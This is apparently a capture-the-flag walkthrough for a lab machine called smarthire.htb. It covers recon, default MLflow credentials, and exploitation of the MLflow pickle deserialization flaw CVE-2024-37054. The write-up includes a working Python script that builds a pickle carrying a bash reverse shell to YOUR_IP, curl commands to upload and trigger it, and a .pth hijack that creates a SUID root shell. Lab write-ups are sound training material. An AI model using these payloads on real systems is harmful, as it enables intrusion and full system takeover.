Reconnaissance
Target: 10.129.11.120 (smarthire.htb)
Port Scanning
# Phase 1: Fast all-port discovery
nmap -p- --min-rate 10000 -T4 10.129.11.120 -oA allports -Pn
# Phase 2: Targeted deep scan
nmap -p 22,80 -sC -sV -A 10.129.11.120 -oA detailed -Pn
The scan reveals SSH (22) and an Nginx web server (80) executing a redirect to http://smarthire.htb/. Add the domain to /etc/hosts.
Virtual Host Fuzzing
Standard VHost fuzzing with -mc 200 fails because the underlying service returns a 401 Unauthorized status code. Utilizing ffuf with the auto-calibration flag (-ac) isolates the anomaly:
ffuf -w subdomains-top1million-110000.txt -u http://smarthire.htb/ -H 'Host: FUZZ.smarthire.htb' -ac
# Result: models [Status: 401, Size: 137]
Add models.smarthire.htb to /etc/hosts.
Application Analysis & MLflow
The primary application on smarthire.htb is an AI hiring platform. Users register, authenticate, and interact with an API.
Checking the /model_info endpoint returns:
{"model_info":{"creation_timestamp":1780137509459,"version":"1"},
"model_name":"Linux-e8e44f61ce97-model","status":"success"}
This schema, alongside the models.smarthire.htb virtual host, heavily indicates a backend MLflow instance.
Accessing http://models.smarthire.htb/version utilizing default credentials (admin:password) successfully authenticates and discloses the version: MLflow 2.14.1.
Exploitation: CVE-2024-37054 (Pickle Deserialization)
MLflow 2.14.1 is vulnerable to insecure deserialization (CWE-502) in mlflow.pyfunc.load_model(). The application loads python_model.pkl without sanitization. Replacing this artifact with a malicious pickle payload results in RCE upon loading.
Identifying the Target Artifact
Querying the MLflow API to locate the target run and artifact:
curl -s -u admin:password 'http://models.smarthire.htb/api/2.0/mlflow/registered-models/search'
# Extracts run_id: ab5a7c7cb0b94443ac421037f5d5d294
curl -s -u admin:password 'http://models.smarthire.htb/api/2.0/mlflow/artifacts/list?run_id=ab5a7c7cb0b94443ac421037f5d5d294&path=model'
# Identifies: model/python_model.pkl
Building the Payload
To avoid escaping issues with os.system, the reverse shell payload is base64 encoded.
# build_rev.py
import os, pickle, base64
payload = "bash -i >& /dev/tcp/YOUR_IP/4444 0>&1"
cmd = f"echo {base64.b64encode(payload.encode()).decode()} | base64 -d | bash"
class RCE:
def __reduce__(self):
return (os.system, (cmd,))
pickle.dump(RCE(), open("python_model.pkl","wb"))
Triggering RCE
Upload the malicious artifact and trigger the model loading via the prediction endpoint:
base_url="http://models.smarthire.htb/api/2.0/mlflow-artifacts/artifacts/0/ab5a7c7cb0b94443ac421037f5d5d294/artifacts/model"
# Overwrite artifact
curl -s -u admin:password -X PUT "$base_url/python_model.pkl" --data-binary @python_model.pkl
# Trigger model load
printf 'name,skills,experience\nJohn,"Python",60\n' > /tmp/t1.csv
curl -s -X POST http://smarthire.htb/predict -b 'session=[REDACTED_COOKIE]' -F 'file=@/tmp/t1.csv'
A reverse shell connects as svcweb. Stabilize the shell using standard PTY upgrade techniques (python3 -c 'import pty;pty.spawn("/bin/bash")', etc.).
Privilege Escalation
Checking sudo privileges for the svcweb user:
sudo -l
# (root) NOPASSWD: /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py *
Analyzing mlflowctl.py
The script iterates through a plugins directory and appends subdirectories to the module path using site.addsitedir():
PLUGINS_DIR = BASE_DIR / "plugins"
for path in PLUGINS_DIR.iterdir():
if path.is_dir():
site.addsitedir(str(path))
Enumerating directory permissions reveals that /opt/tools/mlflow_ctl/plugins/dev is writable by the devs group, which svcweb belongs to.
Python Site Hijacking via .pth
While standard module hijacking relies on execution order in sys.path, utilizing a .pth file inside the dev/ directory is more robust. The site.addsitedir() function processes .pth files and explicitly executes lines starting with import.
Create a malicious .pth file to spawn a SUID bash binary:
echo "import os; os.system('cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash')" > /opt/tools/mlflow_ctl/plugins/dev/pwn.pth
Trigger the script via sudo:
sudo /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py status
Acquire the root shell:
/tmp/rootbash -p
id # euid=0(root)
cat /root/root.txt # [REDACTED]
Clean up /tmp/rootbash and pwn.pth post-exploitation to maintain OPSEC.